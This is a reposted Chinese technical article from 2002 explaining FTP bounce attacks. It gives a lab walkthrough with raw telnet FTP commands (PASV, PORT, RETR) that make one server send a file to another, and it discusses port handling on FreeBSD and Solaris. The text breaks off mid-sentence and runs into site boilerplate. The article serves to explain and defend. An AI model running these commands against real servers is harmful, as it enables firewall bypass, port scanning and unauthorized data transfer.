论 FTP bounce 攻击

发布日期:2002-09-17
文章内容:


作者:scz < scz@nsfocus.com >
主页: http://www.nsfocus.com
日期:2002-01-20

目录:

    1.  前言
    2.  一个直观的FTP bounce攻击举例
    3.  关于上例中所涉及端口的讨论
    4.  SPARC/Solaris 7缺省携带的FTP Server所存在的问题
    5.  x86/FreeBSD 4.3-RELEASE缺省携带的FTP Server所存在的问题
    6.  x86/FreeBSD 4.x中FTP Server的实现
    7.  CERT对此问题的反应
    8.  相关RFC
    9.  FTP bounce攻击的危害
        1) 端口扫描
        2) 突破常规防火墙
        3) 从限制源IP站点下载敏感信息
        4) 与java applet结合突破动态防火墙
    10. 解决办法
    11. x86/FreeBSD 4.x中FTP Server进入PASV模式后的端口选用
    12. FTP Hijacking的可能性
    13. proxy命令的使用
    14. NIDS对此问题的反应
    15. 后记

--------------------------------------------------------------------------

★ 1. 前言


本文主要是对FTP bounce攻击做一积累、总结、回顾式讨论。如果对此已经熟悉,
敬请批评、斧正之。

★ 2. 一个直观的FTP bounce攻击举例

100Mbps Switch -----+----- 192.168.5.203(x86/Linux)
                    |
                    +----- 192.168.5.201(x86/FreeBSD 4.3-RELEASE)
                    |
                    +----- 192.168.5.209(SPARC/Solaris 7)

假设192.168.5.201和192.168.5.209都是缺省安装,并且开放FTP Server

在192.168.5.203上做如下操作

--------------------------------------------------------------------------
telnet 192.168.5.201 21
user scz   <-- 用户名
pass ***   <-- 口令
cwd src    <-- 切换到一个相应用户可写目录(可上载目录/home/scz/src)
type i     <-- 切换传输模式
pasv       <-- server进入被动模式,等待来自client的tcp连接
227 Entering Passive Mode (192,168,5,201,193,3)
                           ^^^^^^^^^^^^^^^^^^^ 注意这段数据
stor out   <-- 指定将来保存数据时使用的文件名
--------------------------------------------------------------------------

我所接触的绝大多数FTP Server在命令关键字上(比如user、USER)大小写不敏感,未
查看RFC 959是如何定义的。此时这边产生阻塞,不要动这个窗口。

假设192.168.5.209上存在/export/home/scz/src/in文件

在192.168.5.203上另开一个窗口,做如下操作

--------------------------------------------------------------------------
telnet 192.168.5.209 21
user scz   <-- 用户名
pass ***   <-- 口令
cwd src    <-- 切换到/export/home/scz/src
type i     <-- 切换传输模式到二进制模式
port 192,168,5,201,193,3
     ^^^^^^^^^^^^^^^^^^^ 这段数据来自上面那个pasv操作
retr in
quit
--------------------------------------------------------------------------

回到stor out的窗口输入

quit

此时在192.168.5.201上存在/home/scz/src/out文件,来自192.168.5.209上的/expo-
rt/home/scz/src/in文件。数据在192.168.5.201与192.168.5.209之间流动,但控制
完全由192.168.5.203发起,这就是 FTP bounce 攻击的直观解释。

从测试过程可以看出 SPARC/Solaris 7 缺省携带的FTP Server也易遭受 FTP bounce
攻击,不过它对port命令做了一定限制,不允许指定小于1024的特权端口。

受影响的Pi-Soft SpoonFTP版本未对port命令做限制,不但可以指定非client ip,
还可以指定小于1024的特权端口。

★ 3. 关于上例中所涉及端口的讨论

100Mbps Switch -----+----- 192.168.5.203(x86/Linux)
                    |
                    +----- 192.168.5.201(x86/FreeBSD 4.3-RELEASE)
                    |
                    +----- 192.168.5.209(SPARC/Solaris 7)

1) 192.168.5.203 --> 192.168.5.201 tcp/21

192.168.5.203 调用connect()连接192.168.5.201的tcp/21,建立第一个ftp控制流,
经过user、pass、cwd、type,最后是pasv命令,指使192.168.5.201在tcp/49411口
上进入listen状态,等待连接请求。

193 * 256 + 3 = 49411

从测试过程可以看出,192.168.5.201(x86/FreeBSD 4.3-RELEASE)的FTP Server进入
被动模式后,未对数据流的client ip做检查,本来从安全角度看应该限制此时数据
流的client ip必须和控制流的client ip一致。

stor命令发出后,192.168.5.201上的FTP Server进入阻塞状态,等待数据流tcp连接。

2) 192.168.5.203 --> 192.168.5.209 tcp/21

192.168.5.203调用connect()连接192.168.5.209的tcp/21,建立第二个ftp控制流,
经过user、pass、cwd、type,然后是port命令,通知192.168.5.209上FTP Server下
次数据流connect()的目标为192.168.5.201的tcp/49411口。

3) 192.168.5.209 tcp/20 --> 192.168.5.201 tcp/49411

向192.168.5.209的FTP Server下达retr in命令后,192.168.5.209将调用connect()
连接192.168.5.201的tcp/49411口,并将本机的in文件内容通过这个tcp连接发送出
去。

此时connect()调用前会先调用bind()调用,指定本机端口为20口。为了确认这点,
可以用tcpdump抓包观察,在192.168.5.201上执行

# /usr/sbin/tcpdump -i fxp0 -netS -s 96 -c 3000 tcp and src port 20 and src host 192.168.5.209

指定接口,取消反向域名解析,显示MAC地址,显示时间戳,显示绝对TCP序列号,
snaplen为96,抓取3000个包,TCP包,源端口20,源IP为192.168.5.209。

★ 4. SPARC/Solaris 7缺省携带的FTP Server所存在的问题

我测试中用到的SPARC/Solaris 7缺省携带的FTP Server未经任何配置,暂时没有2.6
的测试环境,不确认SPARC/Solaris 2.6缺省携带的FTP Server未经任何配置时,是
否也存在该问题,不过我相信是存在的。这个FTP Server在port命令的实现上,

1) 没有限制所指定的IP只能是控制流上的client ip

但是,这个FTP Server

2) 限制所指定的PORT必须是大于等于1024的非特权端口

--------------------------------------------------------------------------
telnet 192.168.5.209 21
user scz
pass ***
port 192,168,5,201,0,23
500 PORT argument mus


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部